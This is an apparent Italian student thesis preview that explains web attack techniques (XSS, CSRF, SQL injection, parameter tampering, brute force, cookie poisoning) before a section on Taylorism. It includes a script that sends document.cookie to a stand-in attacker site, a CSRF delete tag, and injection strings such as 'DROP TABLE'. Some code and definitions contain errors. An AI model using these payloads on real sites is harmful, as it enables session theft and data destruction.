Anteprima
Vedrai una selezione di 5 pagine su 19
Sicurezza sul web Pag. 1 Sicurezza sul web Pag. 2
Anteprima di 5 pagg. su 19.
Scarica il documento per vederlo tutto.
Sicurezza sul web Pag. 6
Anteprima di 5 pagg. su 19.
Scarica il documento per vederlo tutto.
Sicurezza sul web Pag. 11
Anteprima di 5 pagg. su 19.
Scarica il documento per vederlo tutto.
Sicurezza sul web Pag. 16
1 su 19
Disdici quando vuoi 162x117
Disdici quando
vuoi
Acquista con carta
o PayPal
Scarica i documenti
tutte le volte che vuoi
Sintesi
Italiano: Giovanni Verga (il verismo)

Storia: il Taylorismo

Informatica: la sicurezza web

Sistemi
: le tecniche di attacco sul web

Inglese
: Internet Security

Elettronica
: le microspie

Matematica: gli integrali
Estratto del documento

utenti e degli altri sistemi della rete. Le funzioni svolte da questo tipo di software

possono andare dalla semplice ricerca di un file in una directory a delle applicazioni

estremamente sofisticate che eseguono in tempo reale vendite o registrazione di dati

finanziari.

Cosa intendiamo per sicurezza

La sicurezza informatica è la tutela del sistema informatico alla violazione da parte di

persone non autorizzate al finire di garantire confidenzialità, autenticità, integrità e

disponibilità dei dati. Sebbene questa definizione sia chiara, in realtà la sicurezza è

una misura che si tenta di massimizzare valutando attentamente l’equilibrio fra costo

del rischio e costo della difesa. IV

Vulnerabilità, minaccia e rischio

Un sistema può incorrere in dei rischi, può essere affetto da vulnerabilità e può essere

minacciato. Ma qual è il significato di questi termini?

- Una vulnerabilità, o falla, è la caratteristica di un componente per cui risulta

suscettibile a particolari situazioni che portano al guasto, spesso improvviso, del

componente stesso o di un altro che si trova in rapporto con quello fallato.

- La minaccia è la causa che provoca il guasto di cui si è appena detto.

- Il rischio è la probabilità che una falla sia incontrata (o scoperta) da una

minaccia, associata all’intenzione di sfruttarla per trarne un vantaggio. Perciò,

possiamo dire che vulnerabilità + rischio = minaccia.

Tecniche di attacco

Una normale analisi del codice, fatta da un programmatore anche esperto, non può

rilevare i problemi o le falle di sicurezza dell’applicazione. Da una parte infatti, il

testing manuale non può provare tutte le sequenze di input, e non pensa mai a

manipolare l’applicazione per testarne la risposta. Dall’altra, i tool di testing

automatizzati, non essendo progettati per un’applicazione specifica, non funzionano

per tutti.

Tipi di attacco

1. Information gathering – Messaggi ed errori

Non si tratta di un vero e proprio attacco, in quanto si cerca di trovare ogni

informazione tecnica sull’applicazione e sul sistema. Ha una pericolosità bassissima

ma è il primo passo verso la maggioranza degli attacchi seri. Si parte messaggi di

errore standard (400, 401, 404) per continuare poi a cercare messaggi di notice o di

warning, provando a modificare le variabili GET e POST con delle sequenze casuali.

Esistono dei tool free di testing automatizzato che ricavano le informazioni sul

sistema.

2. Cross-Site scripting

È un tipo di attacco molto semplice da portare a termine. Esso e diretto verso l’utente

è non verso il sistema (direttamente). Ma quando l’utente prescelto è un

amministratore, cambia tutta la prospettiva dell’attacco. Esso richiede una minima

conoscenza del linguaggio JavaScript ed un sito web che registri degli input utente,

senza applicare un filtro, prima di stamparli: ad esempio un commento su un forum,

un articolo di un blog, il commento a un articolo. Alle volte può essere adoperato un

messaggio di posta elettronica in html contenente lo script java.

V

Prendiamo in esempio un blog personale dove gli utenti, visitatori abituali leggono le

varie notizie e commentano. L’utente che attacca, inserisce il commento:

<script type="text/javascript">

alert("Questo blog è stato trasferito");

window.location = "http://www.sito.attaccante.com/"

</script>

Quando gli altri utenti navigheranno la pagina dove è stato inserito il commento,

saranno reindirizzati verso il.sito.trapola.com non appena avranno premuto il pulsante

‘ok’ del pop-up informativo. In questo sito trappola si potranno inserire delle funzioni

per memorizzare gli indirizzi IP, pubblicità pay-per-visit oppure semplicemente si

rubano gli utenti del sito navigato. Con una piccola aggiunta possiamo anche estrarre

i cookie dell’utente mal capitato! Vediamo un esempio:

<script type="text/javascript">

alert("Questo blog è stato trasferito");

window.location = "http://sito.attaccante.com/cattura.php" + document.cookie;

</script>

3. Cross-Site request forgiers

Come il cross-site scripting, si tratta di una vulnerabilità che sfrutta un utente per

attacare a sua insaputa un’altra applicazione sfruttandone i diritti dell’utente

attaccato.

L’attacco avviene nel momento in cui un utente che possiede i diritti su un a server

attaccato) visita una pagina su un server B (di proprietà dell’attaccante e dove egli

può introdurre una CSRF liberamente).

La pagina costruita dall’attaccante contiene solitamente dei tag che permettono di

eseguire operazioni GET al browser come SRC in IMG, IFRAME etc.

VI

Senza che l’utente se ne accorga possono essere eseguite operazioni su un altro

server o anche sullo stesso come:

<img src="http://www.esempio.com/cancella.php?idutente=22">

L’utente non si accorgerà di nulla, se non di non riuscire a visualizzare alcune

immagini. L’attacco può essere inviato anche con una mail, permettendo di attaccare

a specifici utenti che si trovano dietro a firewall.

4. SQL Injection

Tutte le applicazioni che usano una base di dati, in qualche punto del codice eseguono

una query SQL con i parametri dati dall’utente. Una SQL Injection si verifica quando un

avversario può inserire una serie valida di statement SQL in una query, semplicemente

manipolando i dati di input dell’applicazione

Ad esempio, è probabile che la verifica username e password d’utente inserite in un

form di login, vengano validate eseguendo una query del tipo:

$user = $_POST['nomeutente'];

$password = $_POST['password'];

$query = "SELECT id,nome,cognome FROM utente WHERE nome_utente="' . $username .

'" AND password = "' . $password . '";

mysql_query($query);

Tutti gli utenti inseriranno i due parametri di autentificazione eseguendo il log-in

nell’applicazione, ma i parametri passati non sono controllati prima del controllo. La

SELECT precedente, modificata con una coppia opportuna di username e password

potrebbe svolgere anche altre funzioni.

Infatti, con la query di sotto, certamente Pippo non sarà presente nella tabella utenti

ma comunque questa richiesta ritorna un risultato non vuoto.

VII

$query = "SELECT nome FROM utente WHERE nome_utente ='pippo' AND pass =

'<pass> a caso' UNION SELECT * FROM utente WHERE id='1'";

Questa tecnica è usata anche per rubare i dati.

$articoli = "SELECT * FROM articoli WHERE id_art =" . $_GET['id'] . "";

Modificando la query $articoli con dei dati illegali si può manipolare ulteriormente la

query.

articolo.php?id=1'; DROP TABLE articoli --

Con la solita tecnica abbiamo oltrepassato una protezione in pochi minuti. E

ovviamente questo è un esempio da hacker. Un cracker ne trarrebbe sicuramente un

profitto da questo. Questo tipo di attacco richiede la conoscenza dell’SQL e degli errori

dei programmatori. Un uso avanzato di tali vulnerabilità consente la creazione di un

nuovo record, la cancellazione di uno o più utenti oppure la distruzione di un intero

database.

5. Parameter Tampering

Si tratta di un attacco che approfita del fatto che molti programmatori usano spesso

parametri nascosti, come ad esempio campi hidden, campi di testo fissi (read-only)

oppure parametri fissi di GET, come unica misura di sicurezza.

Nella maggior parte dei casi e sufficiente salvare la pagina, modificando i valori dei

campi e ricaricarla nel browser per inviare la richiesta. Nel forum esempio, possiamo

prendere in esempio l’url richiesta:

http://www.sito.com/articolo.php?id=3&mode=readonly

La curiosità va direttamente sul parametro mode, con il quale probabilmente il

programmatore ha pensato di settare i permessi sull’articolo. Facendo delle prove:

http://www.sito.com/articolo.php?id=3&mode=write

http://www.sito.com/articolo.php?id=3&mode=readwrite

http://www.sito.com/articolo.php?id=3&mode=edit

È probabile che uno di questi conceda il permesso in scrittura.

6. Brute force

L’attacco a forza bruta può essere considerato il più antico che sia mai stato messo in

atto. Nasce infatti contemporaneamente ai sistemi di autentificazione ed è stato

ereditato nelle applicazioni web. Si basa su un principio semplicissimo: l’unico modo di

trovare una password è provare a inserirne qualcuna! Non fa altro che tentare

password casuali fino a trovare quella giusta. Le sequenze possono essere reimpostate

(raccolte dai dizionari), oppure set di caratteri sequenziali. In entrambi i casi risulta

VIII

difficilmente trovare una password se non si conosce l’username. Anche usando tool

automatizzati il successo risulta difficilmente raggiungibile, visto che tutti i programmi

di ultima generazione richiedono passsword con lunghezza non inferiore ai sei

caratteri ed eseguono controlli sul numero di accessi sbagliati o controlli visuali

(CAPTCHA).

Il brute force può dare risultati rapidi solo quando si conoscono cose e abitudini

dell’utente.

7. Cookie poisoning

L’avvelenamento dei cookie è una delle tecniche di manipolazione dei parametri di

applicazione. Consiste nel cambiare i dati salvati nei cookie dell’applicazione. Basta

trovare la directory in cui il browser salva il cookie (generalmente chiamato

utentesito.it) aprirlo con un editor testo e modificarlo. Dopo aver salvato il file,

aggiorniamo la pagina nel browser e vediamo l’infezione del sito con il cookie

modificato. IX

Taylorismo

Il taylorismo è una teoria economica dell’organizzazione

scientifica del lavoro, elaborata all’inizio del Novecento

dall’ingegnere statunitense Frederick W. Taylor (1856 – 1915),

Bethelehem Steel Co.

che la applicò nell’industria metallurgica

e la illustrò in alcuni importanti scritti. Essa si fondava sul

principio che “la migliore produzione si determina quando a

ogni lavoratore è affidato un compito specifico, da svolgere in

un determinato tempo e in un determinato modo”.

Qualsiasi operazione del ciclo produttivo industriale può dunque essere scomposta e

manager,

studiata nei minimi particolari: è questo, secondo Taylor, il compito dei che

sulla base delle verifiche empiriche devono stabilire: qual è il compito specifico di ogni

lavoratore; in quanto tempo lo deve svolgere e in che modo lo deve svolgere. Così è

possibile arrivare alla razionalizzazione del ciclo produttivo, ossia alla finalizzazione a

criteri di ottimalità economica, attraverso l’eliminazione degli sforzi inutili,

l’introduzione di sistemi di incentivazione, la gerarchizzazione interna e la rigorosa

selezione del personale.

L’applicazione pratica di questi principi aprì la strada alla prima catena di montaggio

Ford Motors Company

prodotta negli stabilimenti della nel 1913, e di fatto dunque

modificò tutta l’organizzazione del lavoro nelle industrie. Particolarmente trasformata,

nel nuovo sistema produttivo, fu la figura dell’operaio, cui il taylorismo tolse ogni tipo

di discrezionalità: mentre in precedenza egli poteva scegliere i tempi e i modi del suo

lavoro, con l’introduzione delle nuove procedure fu costretto ad adattarsi ai ritmi e ai

metodi scelti dai dirigenti. Proprio per questo il taylorismo è stato fin dall’inizio

duramente contestato dal movimento dei lavoratori e dai sindacati. Ciò che dovrebbe,

secondo Taylor, spingere gli operai ad adattarsi alle nuove condizioni di lavoro è

l’incentivo economico reso possibile dalla maggiore produttività: “Ogni qual volta

l’operaio riesce a completare il proprio compito in modo esatto ed entro il tempo

prestabilito, egli percepisce una maggiorazione variante dal 30 al 100 per cento

rispetto alla propria paga base”. Anche questa versione strettamente economicista del

lavoro è stata contestata dai sindacati, che d’altra parte Taylor, tutto proteso verso la

X

massima efficienza e il massimo profitto, considerava inutili, nocivi e destinati alla

human relations system

dissoluzione. In tempi più recenti le dottrine della e della

analysis, basate sull’analisi di tutta la complessa realtà aziendale, hanno determinato

il superamento del taylorismo e della sua rigorosa ma limitata analisi del binomio

uomo-macchina.

Questa teoria si sviluppava in un paese a capitalismo avanzato (gli Stati Uniti) negli stessi anni in

Dettagli
Publisher
19 pagine
168 download